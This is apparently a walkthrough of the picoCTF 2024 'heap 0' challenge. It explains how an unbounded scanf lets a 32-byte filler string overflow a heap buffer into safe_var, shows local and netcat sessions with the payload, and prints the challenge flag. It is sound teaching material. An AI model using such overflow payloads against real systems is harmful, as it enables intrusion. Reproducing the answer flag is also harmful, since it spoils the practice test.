Level: Medium
Tags: picoCTF 2024, Binary Exploitation, browser_webshell_solvable, heap
Author: ABRXS, PR1OR1TYQ
Description:
Can you control your overflow?
Hints:
1. How can you tell where safe_var starts?
Challenge link: https://play.picoctf.org/practice/challenge/439?category=6&difficulty=2&page=1
Same as heap 0, we start by looking at the main()
int main(void) {
// Setup
init();
print_heap();
int choice;
while (1) {
print_menu();
int rval = scanf("%d", &choice);
if (rval == EOF){
exit(0);
}
if (rval != 1) {
//printf("Invalid input. Please enter a valid choice.\n");
//fflush(stdout);
// Clear input buffer
//while (getchar() != '\n');
//continue;
exit(0);
}
switch (choice) {
case 1:
// print heap
print_heap();
break;
case 2:
write_buffer();
break;
case 3:
// print safe_var
printf("\n\nTake a look at my variable: safe_var = %s\n\n",
safe_var);
fflush(stdout);
break;
case 4:
// Check for win condition
check_win();
break;
case 5:
// exit
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}
Main basically does the following:
- Call
init
function - Call
print_heap
function - Print the menu with the
print_menu
function - Read the user input choice, check if it's valid and from 1-4, do different things accordingly
The check_win
function (menu choice 4) will print the flag for us if we have managed to change the contents of the safe_var
variable
void check_win() {
if (!strcmp(safe_var, "pico")) {
printf("\nYOU WIN\n");
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("Looks like everything is still secure!\n");
printf("\nNo flage for you :(\n");
fflush(stdout);
}
}
So basically we want to satisfy the condition if (!strcmp(safe_var, "pico"))
and we will win, strcmp compares 2 strings(takes in the pointer as input), safe_var and "pico"
Meaning we would like to make the value stored in pointer safe_var equals to "pico"
Let's skip the rest of the source code for now and run the program.
./chall
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x556e508826b0 -> pico
+-------------+----------------+
[*] 0x556e508826d0 -> pico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice:
The difference between the memory positions is 32 bytes.
For every char is 1 byte, so we will type "pico after 32bytes of characters
Enter your choice: 2
Data for buffer: 12345678901234567890123456789012pico
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x556e508826b0 -> 12345678901234567890123456789012pico
+-------------+----------------+
[*] 0x556e508826d0 -> pico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
YOU WIN
zsh: segmentation fault ./chall
Success, we managed to overwrite safe_var
. The segmentation fault error is due to the fact that no flag.txt
file exists in the directory.
The cause is the unbounded use of scanf (scanf("%s", input_data);
) in the write_buffer
function.
Finally, we connect to the site vith netcat and follow the same procedure
nc tethys.picoctf.net 61789
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x5c1bede962b0 -> pico
+-------------+----------------+
[*] 0x5c1bede962d0 -> pico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 2
Data for buffer: 12345678901234567890123456789012pico
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x5c1bede962b0 -> 12345678901234567890123456789012pico
+-------------+----------------+
[*] 0x5c1bede962d0 -> pico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
YOU WIN
picoCTF{starting_to_get_the_hang_9e9243f9}